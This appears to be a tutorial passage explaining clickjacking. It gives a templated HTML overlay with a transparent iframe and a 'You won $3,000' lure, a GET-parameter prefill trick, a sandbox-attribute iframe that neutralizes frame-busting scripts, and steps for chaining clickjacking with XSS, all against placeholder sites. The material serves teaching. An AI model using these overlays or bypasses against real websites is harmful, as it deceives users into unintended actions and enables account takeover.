Clickjacking is a web security vulnerability where an attacker tricks a user into clicking something different from what they perceive. This is done by overlaying an invisible or disguised element on top of a legitimate webpage.
Here is a basic example of a clickjacking attack using an iframe:
<html>
<head>
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position: absolute;
top: 185px;
left: 90px;
z-index: 1;
}
</style>
</head>
<body>
<div>You won $3,000</div>
<iframe src="http://victim-site.com"></iframe>
</body>
</html>The opacity of the iframe is set to 0,
making it invisible, while the z-index ensures that it
is layered above the visible content.
Some websites allow prepopulating form inputs via
GET parameters. Attackers can exploit this to trick
users into submitting forms with attacker-controlled values.
Example:
http://website.com/account?email=attacker@example.comIf the website autofills the email field, the victim might unknowingly submit the attacker’s email instead of their own.
A frame busting script is a JavaScript script used by a website to prevent itself from being loaded inside an iframe on another site.
However, attackers can bypass these protections
using the sandbox attribute in HTML5:
<iframe id="victim_site" src="https://victim-site.com" sandbox="allow-forms"></iframe>When this is set with the allow-forms or
allow-scripts values and the
allow-top-navigation value is omitted then the frame
buster script can be neutralized as the iframe cannot check whether
or not it is the top window.
An attacker can combine Clickjacking with Cross-Site Scripting (XSS) for more impact.
Steps: 1. Identify an XSS vulnerability on the target site. 2. Embed the vulnerable page inside an iframe. 3. Use clickjacking to make the victim click a malicious link that triggers the XSS.
This allows the attacker to execute JavaScript in the victim’s session, potentially leading to account takeover.
Some attacks require multiple steps. This can be done by overlaying multiple iframes with staged interactions.